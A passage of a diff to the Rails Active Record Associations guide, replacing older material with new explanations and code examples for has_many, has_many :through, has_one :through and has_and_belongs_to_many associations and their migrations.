+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-3C-3C
+[`collection.build`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build
+[`collection.clear`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear
+[`collection.create`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create
+[`collection.create!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create-21
+[`collection.delete`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete
+[`collection.destroy`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy
+[`collection.empty?`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F
+[`collection.exists?`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F
+[`collection.find`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find
+[`collection.reload`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload
+[`collection.size`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size
+[`collection.where`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where
+
+##### Managing the Collection
+
+The `collection` method returns a Relation of all of the associated objects. If
+there are no associated objects, it returns an empty Relation.
 
-Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+```ruby
+@books = @author.books
+```
 
-* Controlling caching
-* Avoiding name collisions
-* Updating the schema
-* Controlling association scope
-* Bi-directional associations
+The [`collection.delete`][] method removes one or more objects from the
+collection by setting their foreign keys to `NULL`.
+
+```ruby
+@author.books.delete(@book1)
+```
 
-### Controlling Caching
+WARNING: Additionally, objects will be destroyed if they're associated with
+`dependent: :destroy`, and deleted if they're associated with `dependent:
+:delete_all`.
 
-All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+The [`collection.destroy`][] method removes one or more objects from the
+collection by running `destroy` on each object.
 
 ```ruby
-author.books                 # retrieves books from the database
-author.books.size            # uses the cached copy of books
-author.books.empty?          # uses the cached copy of books
+@author.books.destroy(@book1)
 ```
 
-But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call `reload` on the association:
+WARNING: Objects will _always_ be removed from the database, ignoring the
+`:dependent` option.
+
+The [`collection.clear`][] method removes all objects from the collection
+according to the strategy specified by the `dependent` option. If no option is
+given, it follows the default strategy. The default strategy for `has_many
+:through` associations is `delete_all`, and for `has_many` associations is to
+set the foreign keys to `NULL`.
 
 ```ruby
-author.books                 # retrieves books from the database
-author.books.size            # uses the cached copy of books
-author.books.reload.empty?   # discards the cached copy of books
-                             # and goes back to the database
+@author.books.clear
 ```
 
-### Avoiding Name Collisions
+WARNING: Objects will be deleted if they're associated with `dependent:
+:destroy` or `dependent: :destroy_async`, just like `dependent: :delete_all`.
 
-You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations.
+The [`collection.reload`][] method returns a Relation of all of the associated
+objects, forcing a database read. If there are no associated objects, it returns
+an empty Relation.
 
-### Updating the Schema
+```ruby
+@books = @author.books.reload
+```
 
-Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table.
+##### Assigning the Collection
 
-#### Creating Foreign Keys for `belongs_to` Associations
+The `collection=(objects)` method makes the collection contain only the supplied
+objects, by adding and deleting as appropriate. The changes are persisted to the
+database.
+
+The `collection_singular_ids=(ids)` method makes the collection contain only the
+objects identified by the supplied primary key values, by adding and deleting as
+appropriate. The changes are persisted to the database.
+
+##### Querying the Collection
 
-When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model:
+The `collection_singular_ids` method returns an array of the ids of the objects
+in the collection.
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author
-end
+@book_ids = @author.book_ids
 ```
 
-This declaration needs to be backed up by the proper foreign key declaration on the books table:
+The [`collection.empty?`][] method returns `true` if the collection does not
+contain any associated objects.
+
+```erb
+<% if @author.books.empty? %>
+  No Books Found
+<% end %>
+```
+
+The [`collection.size`][] method returns the number of objects in the
+collection.
 
 ```ruby
-class CreateBooks < ActiveRecord::Migration[5.0]
-  def change
-    create_table :books do |t|
-      t.datetime :published_at
-      t.string   :book_number
-      t.integer  :author_id
-    end
+@book_count = @author.books.size
+```
 
-    add_index :books, :author_id
-  end
-end
+The [`collection.find`][] method finds objects within the collection's table.
+
+```ruby
+@available_book = @author.books.find(1)
 ```
 
-If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key.
+The [`collection.where`][] method finds objects within the collection based on
+the conditions supplied but the objects are loaded lazily meaning that the
+database is queried only when the object(s) are accessed.
 
-#### Creating Join Tables for `has_and_belongs_to_many` Associations
+```ruby
+@available_books = @author.books.where(available: true) # No query yet
+@available_book = @available_books.first # Now the database will be queried
+```
 
-If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical book of the class names. So a join between author and book models will give the default join table name of "authors_books" because "a" outranks "b" in lexical ordering.
+The [`collection.exists?`][] method checks whether an object meeting the
+supplied conditions exists in the collection's table.
 
-WARNING: The precedence between model names is calculated using the `<=>` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings).
+##### Building and Creating Associated Objects
 
-Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+The [`collection.build`][] method returns a single or array of new objects of
+the associated type. The object(s) will be instantiated from the passed
+attributes, and the link through their foreign key will be created, but the
+associated objects will _not_ yet be saved.
 
 ```ruby
-class Assembly < ApplicationRecord
-  has_and_belongs_to_many :parts
-end
+@book = @author.books.build(published_at: Time.now,
+                            book_number: "A12345")
 
-class Part < ApplicationRecord
-  has_and_belongs_to_many :assemblies
-end
+@books = @author.books.build([
+  { published_at: Time.now, book_number: "A12346" },
+  { published_at: Time.now, book_number: "A12347" }
+])
 ```
 
-These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key:
+The [`collection.create`][] method returns a single or array of new objects of
+the associated type. The object(s) will be instantiated from the passed
+attributes, the link through its foreign key will be created, and, once it
+passes all of the validations specified on the associated model, the associated
+object _will_ be saved.
 
 ```ruby
-class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
-  def change
-    create_table :assemblies_parts, id: false do |t|
-      t.integer :assembly_id
-      t.integer :part_id
-    end
+@book = @author.books.create(published_at: Time.now,
+                             book_number: "A12345")
 
-    add_index :assemblies_parts, :assembly_id
-    add_index :assemblies_parts, :part_id
-  end
-end
+@books = @author.books.create([
+  { published_at: Time.now, book_number: "A12346" },
+  { published_at: Time.now, book_number: "A12347" }
+])
 ```
 
-We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled model IDs, or exceptions about conflicting IDs, chances are you forgot that bit.
+`collection.create!` does the same as `collection.create`, but raises
+`ActiveRecord::RecordInvalid` if the record is invalid.
+
+##### When are Objects Saved?
 
-You can also use the method `create_join_table`
+When you assign an object to a `has_many` association, that object is
+automatically saved (in order to update its foreign key). If you assign multiple
+objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment
+statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_many` association) is unsaved
+(that is, `new_record?` returns `true`) then the child objects are not saved
+when they are added. All unsaved members of the association will automatically
+be saved when the parent is saved.
+
+If you want to assign an object to a `has_many` association without saving the
+object, use the `collection.build` method.
+
+### `has_many :through`
+
+A [`has_many :through`][`has_many`] association is often used to set up a
+many-to-many relationship with another model. This association indicates that
+the declaring model can be matched with zero or more instances of another model
+by proceeding _through_ an intermediate "join" model.
+
+For example, consider a medical practice where patients make appointments to see
+physicians. The relevant association declarations could look like this:
 
 ```ruby
-class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
-  def change
-    create_join_table :assemblies, :parts do |t|
-      t.index :assembly_id
-      t.index :part_id
-    end
-  end
+class Physician < ApplicationRecord
+  has_many :appointments
+  has_many :patients, through: :appointments
+end
+
+class Appointment < ApplicationRecord
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ApplicationRecord
+  has_many :appointments
+  has_many :physicians, through: :appointments
 end
 ```
 
-### Controlling Association Scope
+`has_many :through` establishes a many-to-many relationship between models,
+allowing instances of one model (Physician) to be associated with multiple
+instances of another model (Patient) through a third "join" model (Appointment).
+
+We call `Physician.appointments` and `Appointment.patient` the _through_ and
+_source_ associations of `Physician.patients`, respectively.
 
-By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+![has_many :through Association
+Diagram](images/association_basics/has_many_through.png)
+
+The corresponding migration might look like this:
 
 ```ruby
-module MyApplication
-  module Business
-    class Supplier < ApplicationRecord
-       has_one :account
+class CreateAppointments < ActiveRecord::Migration[8.2]
+  def change
+    create_table :physicians do |t|
+      t.string :name
+      t.timestamps
     end
 
-    class Account < ApplicationRecord
-       belongs_to :supplier
+    create_table :patients do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :appointments do |t|
+      t.belongs_to :physician
+      t.belongs_to :patient
+      t.datetime :appointment_date
+      t.timestamps
     end
   end
 end
 ```
 
-This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes:
+In this migration the `physicians` and `patients` tables are created with a
+`name` column. The `appointments` table, which acts as the join table, is
+created with `physician_id` and `patient_id` columns, establishing the
+many-to-many relationship between `physicians` and `patients`.
 
-```ruby
-module MyApplication
-  module Business
-    class Supplier < ApplicationRecord
-       has_one :account
-    end
-  end
+INFO: The through association can be any type of association, including other
+through associations, but it cannot be [polymorphic](#polymorphic-associations).
+Source associations can be polymorphic as long as you provide a source type.
 
-  module Billing
-    class Account < ApplicationRecord
-       belongs_to :supplier
+You could also consider using a [composite primary
+key](active_record_composite_primary_keys.html) for the join table in the
+`has_many :through` relationship like below:
+
+```ruby
+class CreateAppointments < ActiveRecord::Migration[8.2]
+  def change
+    #  ...
+    create_table :appointments, primary_key: [:physician_id, :patient_id] do |t|
+      t.belongs_to :physician
+      t.belongs_to :patient
+      t.datetime :appointment_date
+      t.timestamps
     end
   end
 end
 ```
 
-To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
+The collection of join models in a `has_many :through` association can be
+managed using standard [`has_many` association
+methods](#methods-added-by-has-many). For example, if you assign a list of
+patients to a physician like this:
 
 ```ruby
-module MyApplication
-  module Business
-    class Supplier < ApplicationRecord
-       has_one :account,
-        class_name: "MyApplication::Billing::Account"
-    end
-  end
-
-  module Billing
-    class Account < ApplicationRecord
-       belongs_to :supplier,
-        class_name: "MyApplication::Business::Supplier"
-    end
-  end
-end
+physician.patients = patients
 ```
 
-### Bi-directional Associations
+Rails will automatically create new join models for any patients in the new list
+that were not previously associated with the physician. Additionally, if any
+patients that were previously associated with the physician are not included in
+the new list, their join records will be automatically deleted. This simplifies
+managing many-to-many relationships by handling the creation and deletion of the
+join models for you.
+
+WARNING: Automatic deletion of join models is direct, no destroy callbacks are
+triggered. You can read more about callbacks in the [Active Record Callbacks
+Guide](active_record_callbacks.html).
 
-It's normal for associations to work in two directions, requiring declaration on two different models:
+The `has_many :through` association is also useful for setting up "shortcuts"
+through nested `has_many` associations. This is particularly beneficial when you
+need to access a collection of related records through an intermediary
+association.
+
+For example, if a document has many sections, and each section has many
+paragraphs, you may sometimes want to get a simple collection of all paragraphs
+in the document without having to manually traverse through each section.
+
+You can set this up with a `has_many :through` association as follows:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books
+class Document < ApplicationRecord
+  has_many :sections
+  has_many :paragraphs, through: :sections
 end
 
-class Book < ApplicationRecord
-  belongs_to :author
+class Section < ApplicationRecord
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ApplicationRecord
+  belongs_to :section
 end
 ```
 
-Active Record will attempt to automatically identify that these two models share a bi-directional association based on the association name. In this way, Active Record will only load one copy of the `Author` object, making your application more efficient and preventing inconsistent data:
+With `through: :sections` specified, Rails will now understand:
 
 ```ruby
-a = Author.first
-b = a.books.first
-a.first_name == b.author.first_name # => true
-a.first_name = 'David'
-a.first_name == b.author.first_name # => true
+@document.paragraphs
 ```
 
-Active Record supports automatic identification for most associations with standard names. However, Active Record will not automatically identify bi-directional associations that contain any of the following options:
+Whereas, if you had not set up a `has_many :through` association, you would have
+needed to do something like this to get paragraphs in a document:
 
-* `:conditions`
-* `:through`
-* `:polymorphic`
-* `:class_name`
-* `:foreign_key`
+```ruby
+paragraphs = []
+@document.sections.each do |section|
+  paragraphs.concat(section.paragraphs)
+end
+```
+
+### `has_one :through`
 
-For example, consider the following model declarations:
+A [`has_one :through`][`has_one`] association sets up a one-to-one relationship
+with another model through an intermediary model. This association indicates
+that the declaring model can be matched with one instance of another model by
+proceeding _through_ a third model.
+
+For example, if each supplier has one account, and each account is associated
+with one account history, then the supplier model could look like this:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books
+class Supplier < ApplicationRecord
+  has_one :account
+  has_one :account_history, through: :account
 end
 
-class Book < ApplicationRecord
-  belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
+class Account < ApplicationRecord
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ApplicationRecord
+  belongs_to :account
 end
 ```
 
-Active Record will no longer automatically recognize the bi-directional association:
+This setup allows a `supplier` to directly access its `account_history` through
+its `account`.
 
-```ruby
-a = Author.first
-b = a.books.first
-a.first_name == b.writer.first_name # => true
-a.first_name = 'David'
-a.first_name == b.writer.first_name # => false
-```
+We call `Supplier.account` and `Account.account_history` the _through_ and
+_source_ associations of `Supplier.account_history`, respectively.
+
+![has_one :through Association
+Diagram](images/association_basics/has_one_through.png)
 
-Active Record provides the `:inverse_of` option so you can explicitly declare bi-directional associations:
+The corresponding migration to set up these associations might look like this:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books, inverse_of: 'writer'
-end
+class CreateAccountHistories < ActiveRecord::Migration[8.2]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
 
-class Book < ApplicationRecord
-  belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
+    create_table :accounts do |t|
+      t.belongs_to :supplier
+      t.string :account_number
+      t.timestamps
+    end
+
+    create_table :account_histories do |t|
+      t.belongs_to :account
+      t.integer :credit_rating
+      t.timestamps
+    end
+  end
 end
 ```
 
-By including the `:inverse_of` option in the `has_many` association declaration, Active Record will now recognize the bi-directional association:
+INFO: The through association must be a `has_one`, `has_one :through`, or
+non-polymorphic `belongs_to`. That is, a non-polymorphic singular association.
+On the other hand, source associations can be polymorphic as long as you provide
+a source type.
+
+### `has_and_belongs_to_many`
+
+A [`has_and_belongs_to_many`][] association creates a direct many-to-many
+relationship with another model, with no intervening model. This association
+indicates that each instance of the declaring model refers to zero or more
+instances of another model.
+
+For example, consider an application with `Assembly` and `Part` models, where
+each assembly can contain many parts, and each part can be used in many
+assemblies. You can set up the models as follows:
 
 ```ruby
-a = Author.first
-b = a.books.first
-a.first_name == b.writer.first_name # => true
-a.first_name = 'David'
-a.first_name == b.writer.first_name # => true
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
 ```
 
-There are a few limitations to `:inverse_of` support:
+![has_and_belongs_to_many Association
+Diagram](images/association_basics/habtm.png)
 
-* They do not work with `:through` associations.
-* They do not work with `:polymorphic` associations.
-* They do not work with `:as` associations.
+Even though a `has_and_belongs_to_many` does not require an intervening model,
+it does require a separate table to establish the many-to-many relationship
+between the two models involved. This intervening table serves to store the
+related data, mapping the associations between instances of the two models. The
+table does not necessarily need a primary key since its purpose is solely to
+manage the relationship between the associated records. The corresponding
+migration might look like this:
 
-Detailed Association Reference
-------------------------------
+```ruby
+class CreateAssembliesAndParts < ActiveRecord::Migration[8.2]
+  def change
+    create_table :assemblies do |t|
+      t.string :name
+      t.timestamps
+    end
 
-The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+    create_table :parts do |t|
+      t.string :part_number
+      t.timestamps
+    end
 
-### `belongs_to` Association Reference
+    # Create a join table to establish the many-to-many relationship between assemblies and parts.
+    # `id: false` indicates that the table does not need a primary key of its own
+    create_table :assemblies_parts, id: false do |t|
+      # creates foreign keys linking the join table to the `assemblies` and `parts` tables
+      t.belongs_to :assembly
+      t.belongs_to :part
+    end
+  end
+end
+```
 
-The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead.
+The `has_and_belongs_to_many` association creates a many-to-many relationship
+with another model. In database terms, this associates two classes via an
+intermediate join table that includes foreign keys referring to each of the
+classes.
 
-#### Methods Added by `belongs_to`
+If the join table for a `has_and_belongs_to_many` association has additional
+columns beyond the two foreign keys, these columns will be added as attributes
+to records retrieved via that association. Records returned with additional
+attributes will always be read-only, because Rails cannot save changes to those
+attributes.
 
-When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association:
+WARNING: The use of extra attributes on the join table in a
+`has_and_belongs_to_many` association is deprecated. If you require this sort of
+complex behavior on the table that joins two models in a many-to-many
+relationship, you should use a `has_many :through` association instead of
+`has_and_belongs_to_many`.
 
-* `association`
-* `association=(associate)`
-* `build_association(attributes = {})`
-* `create_association(attributes = {})`
-* `create_association!(attributes = {})`
+#### Methods Added by `has_and_belongs_to_many`
+
+When you declare a `has_and_belongs_to_many` association, the declaring class
+gains numerous methods related to the association. Some of these are:
 
-In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
+* `collection`
+* [`collection<<(object, ...)`][`collection<<`]
+* [`collection.delete(object, ...)`][`collection.delete`]
+* [`collection.destroy(object, ...)`][`collection.destroy`]
+* `collection=(objects)`
+* `collection_singular_ids`
+* `collection_singular_ids=(ids)`
+* [`collection.clear`][]
+* [`collection.empty?`][]
+* [`collection.size`][]
+* [`collection.find(...)`][`collection.find`]
+* [`collection.where(...)`][`collection.where`]
+* [`collection.exists?(...)`][`collection.exists?`]
+* [`collection.build(attributes = {})`][`collection.build`]
+* [`collection.create(attributes = {})`][`collection.create`]
+* [`collection.create!(attributes = {})`][`collection.create!`]
+* [`collection.reload`][]
+
+We'll discuss some of the common methods, but you can find an exhaustive list in
+the [ActiveRecord Associations
+API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many).
+
+In all of these methods, `collection` is replaced with the symbol passed as the
+first argument to `has_and_belongs_to_many`, and `collection_singular` is
+replaced with the singularized version of that symbol. For example, given the
+declaration:
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
 end
 ```
 
-Each instance of the `Book` model will have these methods:
+An instance of the `Part` model can have the following methods:
 
-```ruby
-author
-author=
-build_author
-create_author
-create_author!
+```
+assemblies
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies.destroy(object, ...)
+assemblies=(objects)
+assembly_ids
+assembly_ids=(ids)
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+assemblies.create!(attributes = {})
+assemblies.reload
 ```
 
-NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
-
-##### `association`
+##### Managing the Collection
 
-The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+The `collection` method returns a Relation of all of the associated objects. If
+there are no associated objects, it returns an empty Relation.
 
 ```ruby
-@author = @book.author
+@assemblies = @part.assemblies
 ```
 
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object.
+The [`collection<<`][] method adds one or more objects to the collection by
+creating records in the join table.
 
 ```ruby
-@author = @book.reload.author
+@part.assemblies << @assembly1
 ```
 
-##### `association=(associate)`
+NOTE: This method is aliased as `collection.concat` and `collection.push`.
 
-The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associated object and setting this object's foreign key to the same value.
+The [`collection.delete`][] method removes one or more objects from the
+collection by deleting records in the join table. This does not destroy the
+objects.
 
 ```ruby
-@book.author = @author
+@part.assemblies.delete(@assembly1)
 ```
 
-##### `build_association(attributes = {})`
-
-The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+The [`collection.destroy`][] method removes one or more objects from the
+collection by deleting records in the join table. This does not destroy the
+objects.
 
 ```ruby
-@author = @book.build_author(author_number: 123,
-                                  author_name: "John Doe")
+@part.assemblies.destroy(@assembly1)
 ```
 
-##### `create_association(attributes = {})`
+The [`collection.clear`][] method removes every object from the collection by
+deleting the rows from the joining table. This does not destroy the associated
+objects.
+
 
-The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+##### Assigning the Collection
+
+The `collection=` method makes the collection contain only the supplied objects,
+by adding and deleting as appropriate. The changes are persisted to the
+database.
+
+The `collection_singular_ids=` method makes the collection contain only the
+objects identified by the supplied primary key values, by adding and deleting as
+appropriate. The changes are persisted to the database.
+
+##### Querying the Collection
+
+The `collection_singular_ids` method returns an array of the ids of the objects
+in the collection.
 
 ```ruby
-@author = @book.create_author(author_number: 123,
-                                   author_name: "John Doe")
+@assembly_ids = @part.assembly_ids
 ```
 
-##### `create_association!(attributes = {})`
+The [`collection.empty?`][] method returns `true` if the collection does not
+contain any associated objects.
 
-Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+```html+erb
+<% if @part.assemblies.empty? %>
+  This part is not used in any assemblies
+<% end %>
+```
 
+The [`collection.size`][] method returns the number of objects in the
+collection.
 
-#### Options for `belongs_to`
+```ruby
+@assembly_count = @part.assemblies.size
+```
 
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options:
+The [`collection.find`][] method finds objects within the collection's table.
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author, dependent: :destroy,
-    counter_cache: true
-end
+@assembly = @part.assemblies.find(1)
 ```
 
-The `belongs_to` association supports these options:
+The [`collection.where`][] method finds objects within the collection based on
+the conditions supplied but the objects are loaded lazily meaning that the
+database is queried only when the object(s) are accessed.
 
-* `:autosave`
-* `:class_name`
-* `:counter_cache`
-* `:dependent`
-* `:foreign_key`
-* `:primary_key`
-* `:inverse_of`
-* `:polymorphic`
-* `:touch`
-* `:validate`
-* `:optional`
+```ruby
+@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+```
 
-##### `:autosave`
+The [`collection.exists?`][] method checks whether an object meeting the
+supplied conditions exists in the collection's table.
 
-If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
 
-##### `:class_name`
+##### Building and Creating Associated Objects
 
-If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a book belongs to an author, but the actual name of the model containing authors is `Patron`, you'd set things up this way:
+The [`collection.build`][] method returns a new object of the associated type.
+This object will be instantiated from the passed attributes, and the link
+through the join table will be created, but the associated object will _not_ yet
+be saved.
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author, class_name: "Patron"
-end
+@assembly = @part.assemblies.build({ assembly_name: "Transmission housing" })
 ```
 
-##### `:counter_cache`
-
-The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models:
+The [`collection.create`][] method returns a new object of the associated type.
+This object will be instantiated from the passed attributes, the link through
+the join table will be created, and, once it passes all of the validations
+specified on the associated model, the associated object _will_ be saved.
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author
-end
-class Author < ApplicationRecord
-  has_many :books
-end
+@assembly = @part.assemblies.create({ assembly_name: "Transmission housing" })
 ```
 
-With these declarations, asking for the value of `@author.books.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model:
+`collection.create!` does the same as `collection.create`, but raises
+`ActiveRecord::RecordInvalid` if the record is invalid.
+
+The [`collection.reload`][] method returns a Relation of all of the associated
+objects, forcing a database read. If there are no associated objects, it returns
+an empty Relation.
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author, counter_cache: true
-end
-class Author < ApplicationRecord
-  has_many :books
-end
+@assemblies = @part.assemblies.reload
 ```
 
-With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method.
+##### When are Objects Saved?
 
-Although the `:counter_cache` option is specified on the model that includes
-the `belongs_to` declaration, the actual column must be added to the
-_associated_ (`has_many`) model. In the case above, you would need to add a
-column named `books_count` to the `Author` model.
+When you assign an object to a `has_and_belongs_to_many` association, that
+object is automatically saved (in order to update the join table). If you assign
+multiple objects in one statement, then they are all saved.
 
-You can override the default column name by specifying a custom column name in
-the `counter_cache` declaration instead of `true`. For example, to use
-`count_of_books` instead of `books_count`:
+If any of these saves fails due to validation errors, then the assignment
+statement returns `false` and the assignment itself is cancelled.
 
-```ruby
-class Book < ApplicationRecord
-  belongs_to :author, counter_cache: :count_of_books
-end
-class Author < ApplicationRecord
-  has_many :books
-end
-```
+If the parent object (the one declaring the `has_and_belongs_to_many`
+association) is unsaved (that is, `new_record?` returns `true`) then the child
+objects are not saved when they are added. All unsaved members of the
+association will automatically be saved when the parent is saved.
 
-NOTE: You only need to specify the :counter_cache option on the `belongs_to`
-side of the association.
+If you want to assign an object to a `has_and_belongs_to_many` association
+without saving the object, use the `collection.build` method.
+
+Choosing an Association
+-----------------------
 
-Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
+### `belongs_to` vs `has_one`
 
-##### `:dependent`
-Controls what happens to associated objects when their owner is destroyed:
+If you want to set up a one-to-one relationship between two models, you can
+choose between a `belongs_to` and a `has_one` association. How do you know which
+one to choose?
 
-* `:destroy` causes the associated objects to also be destroyed.
-* `:delete_all` causes the associated objects to be deleted directly from the database (callbacks are not executed).
-* `:nullify` causes the foreign keys to be set to `NULL` (callbacks are not executed).
-* `:restrict_with_exception` causes an exception to be raised if there are associated records.
-* `:restrict_with_error` causes an error to be added to the owner if there are associated objects.
 
-WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
+The distinction lies in the placement of the foreign key, which goes on the
+table of the class declaring the `belongs_to` association. However, it’s
+essential to understand the semantics to determine the correct associations:
 
-##### `:foreign_key`
+- `belongs_to`: This association indicates that the current model contains the
+  foreign key and is a child in the relationship. It references another model,
+  implying that each instance of this model is linked to one instance of the
+  other model.
+- `has_one`: This association indicates that the current model is the parent in
+  the relationship, and it owns one instance of the other model.
 
-By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+For example, consider a scenario with suppliers and their accounts. It makes
+more sense to say that a supplier has/owns an account (where the supplier is the
+parent) rather than an account has/owns a supplier. Therefore, the correct
+associations would be:
+
+- A supplier has one account.
+- An account belongs to one supplier.
+
+Here is how you can define these associations in Rails:
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author, class_name: "Patron",
-                        foreign_key: "patron_id"
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
 end
 ```
 
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+To implement these associations, you'll need to create the corresponding
+database tables and set up the foreign key. Here's an example migration:
 
-##### `:primary_key`
+```ruby
+class CreateSuppliers < ActiveRecord::Migration[8.2]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
 
-By convention, Rails assumes that the `id` column is used to hold the primary key
-of its tables. The `:primary_key` option allows you to specify a different column.
+    create_table :accounts do |t|
+      t.belongs_to :supplier_id
+      t.string :account_number
+      t.timestamps
+    end
 
-For example, given we have a `users` table with `guid` as the primary key. If we want a separate `todos` table to hold the foreign key `user_id` in the `guid` column, then we can use `primary_key` to achieve this like so:
+    add_index :accounts, :supplier_id
+  end
+end
+```
+
+Remember that the foreign key goes on the table of the class declaring the
+belongs_to association. In this case the `account` table.
+
+### `has_many :through` vs `has_and_belongs_to_many`
+
+Rails offers two different ways to declare a many-to-many relationship between
+models: `has_many :through` and `has_and_belongs_to_many`. Understanding the
+differences and use cases for each can help you choose the best approach for
+your application's needs.
+
+The `has_many :through` association sets up a many-to-many relationship through
+an intermediary model (also known as a join model). This approach is more
+flexible and allows you to add validations, callbacks, and extra attributes to
